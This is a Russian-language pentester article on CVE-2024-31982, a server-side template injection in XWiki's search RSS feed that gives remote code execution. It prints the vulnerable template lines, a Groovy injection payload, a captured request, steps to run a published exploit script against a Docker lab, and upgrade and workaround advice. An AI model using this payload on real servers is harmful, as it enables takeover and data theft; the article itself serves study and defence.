
Привет! Меня зовут Артур, я специалист по пентестам в компании Xilant. В этой статье разберём одну из наиболее опасных уязвимостей, обнаруженных в XWiki — CVE-2024-31982, которая позволяет добиться удалённого выполнения произвольного кода (RCE) через, казалось бы, безобидную функциональность поиска.
XWiki давно занимает ключевое место среди корпоративных Wiki-платформ благодаря гибкой архитектуре и мощной системе шаблонов. Однако именно эта гибкость сыграла против неё: некорректная обработка пользовательского ввода в механизме рендеринга шаблонов привела к появлению критической SSTI-уязвимости.
В материале я покажу, как устроена брешь, как она эксплуатируется и как выглядит автоматизированный PoC, который я написал на основе анализа опубликованного исследования автора jacaba с портала Vicarius.io.
Суть уязвимости: ошибка в механизме шаблонов
XWiki активно использует Apache Velocity и Groovy для генерации HTML и выполнения серверной логики. Проблема заключалась в том, что параметр $text, содержащий строку поиска пользователя, передавался в шаблон RSS-ленты без какой-либо валидации или экранирования:
#set ($discard = $feed.setTitle($services.localization.render('search.rss', [$text])))
#set ($discard = $feed.setDescription($services.localization.render('search.rss', [$text])))
Таким образом злоумышленник мог внедрить произвольные конструкции Velocity с переходом в Groovy-контекст и выполнить код на сервере.
Что такое SSTI и почему это критично
Server-Side Template Injection (SSTI) — это уязвимость веб-безопасности, которая возникает когда приложение обрабатывает пользовательский ввод как часть шаблона на сервере. Это позволяет злоумышленнику внедрять и выполнять произвольный код на сервере.
Простая аналогия:
Ожидаемое поведение:
«Здравствуйте, ${username}» → «Здравствуйте, Иван»Уязвимое поведение:
${7*7} → 49Эксплуатация:
${@java.lang.Runtime@getRuntime().exec('whoami')}
Такое поведение критично с точки зрения безопасности. Если коротко, SSTI даёт злоумышленнику возможность превращать обычные строки в исполняемый код. Из-за этого он может:
выполнять любые команды прямо на сервере
читать и скачивать файлы
получать доступ к конфиденциальным данным
полностью компрометировать приложение
По сути, это прямой и очень удобный вход внутрь вашей системы.
Как работают шаблонизаторы в XWiki и почему они становятся уязвимыми
1. Apache Velocity — основной шаблонизатор XWiki
Velocity отвечает за генерацию HTML и подстановку динамических данных.
Проблема в том, что если передать ему «нечестный» ввод от пользователя, можно незаметно «выйти» из шаблона с помощью конструкции }}} и вставить туда свой код.
Уязвимый пример: значение $text подставляется без проверки — и злоумышленник может встроить в него что угодно.
2. Groovy — язык, который XWiki использует для макросов
Groovy позволяет выполнять серверную логику прямо в XWiki.
А если злоумышленник сумеет попасть внутрь Groovy-блока — он может написать любой Java/Groovy-код, и сервер его выполнит.
Другими словами: Velocity помогает злоумышленнику «выбраться» из шаблона, а Groovy — выполнить произвольный код. В связке это превращается в полноценный RCE.
Механизм эксплуатации
Полезная нагрузка (Payload) выглядит так:
}}}{{async async=false}}{{groovy}}ЗЛОВРЕДНЫЙ_КОД{{/groovy}}{{/async}}
Что же тут происходит:
}}}— закрывают предыдущие открытые блоки в Velocity шаблоне{{async async=false}}— объявляет асинхронный блок, который немедленно выполняется{{groovy}}...{{/groovy}}— внутри этого блока выполняется произвольный код на Groovy с правами приложения
Вот как выглядит перехват запроса со всеми нужными нам данными:
GET /bin/view/Main/ HTTP/1.1
Host: localhost:8080
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: "Chromium";v="139", "Not;A=Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Referer: http://localhost:8080/bin/login/XWiki/XWikiLogin?xredirect=%2Fbin%2Fview%2FMain%2F&loginLink=1
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=7C2475ADACF19E94AA669F43E6B3350B; username="mG8L+qSm7WpGHYktowzcuA__"; password="RKEitl7mN54_"; rememberme="false"; validation="08dea41c8cc74adff11feaa87cc72caa"
Connection: keep-alive
PoC и автоматизация
Я подготовил автоматизированный exploit-скрипт, который можно найти на моем GitHub. Скрипт выполняет три задачи:
Производит аутентификацию в XWiki с указанными учётными данными.
Формирует эксплойтный URL, внедряя Groovy-код в параметр запроса.
Извлекает результат команды из заголовка RSS-ленты.
Пример запуска:
git clone https://github.com/raishin1/CVE-2024-31982.git
cd CVE-2024-31982
python3 exploit.py http://localhost:8080 testuser test123
После запуска скрипт предложит указать команду для выполнения на стороне уязвимого сервера.
Пошаговая эксплуатация на тестовом стенде
Для воспроизведения уязвимости достаточно поднять XWiki нужной версии через Docker:
# Создаем директорию
mkdir xwiki-vulnerable
cd xwiki-vulnerable
# Создаем docker-compose.yml
cat > docker-compose.yml << 'EOF'
version: '3.8'
services:
xwiki-db:
image: mariadb:10.11
container_name: xwiki-db
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_USER=xwiki
- MYSQL_PASSWORD=xwiki
- MYSQL_DATABASE=xwiki
command:
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
- --skip-character-set-client-handshake
volumes:
- db_data:/var/lib/mysql
restart: unless-stopped
xwiki:
image: xwiki:15.5.3-mysql-tomcat
container_name: xwiki
depends_on:
- xwiki-db
ports:
- "8080:8080"
environment:
- DB_USER=xwiki
- DB_PASSWORD=xwiki
- DB_DATABASE=xwiki
- DB_HOST=xwiki-db
volumes:
- xwiki_data:/usr/local/xwiki
restart: unless-stopped
volumes:
db_data:
xwiki_data:
EOF
# Запускаем
docker compose up -d
# Проверяем статус
docker compose ps
# Смотрим логи
docker compose logs -f xwiki
Затем регистрируем пользователя:

Запускаем exploit-скрипт:

Результат можно увидеть в виде выполнения команд на стороне контейнера XWiki.
Опасность уязвимости
Проще говоря: если ваша XWiki доступна публично и не обновлена — любой человек может получить на сервере RCE без авторизации.
Это означает:
полный доступ ко всей базе знаний
возможность красть документы и персональные данные
изменение или удаление информации
использование сервера как точки входа в вашу инфраструктуру
Фактически это один шаг до полного захвата системы.
Как защититься
Чтобы быть защищенным от такого рода дыр, есть два варианта действий:
Обновить XWiki. Это самый простой и самый надёжный способ закрыть уязвимость. Установите одну из версий, где проблема уже исправлена: «14.10.20», «15.5.4» или «15.10-rc-1».
Если обновление пока невозможно, можно временно подстраховаться: удалите страницу Main.DatabaseSearch. Она не используется как основной поиск, поэтому ничего в работе XWiki не сломает, но при этом закроет дыру.
Не позволяйте функции поиска находить больше, чем вы рассчитывали. Обновляйтесь и держите свою вики в безопасности.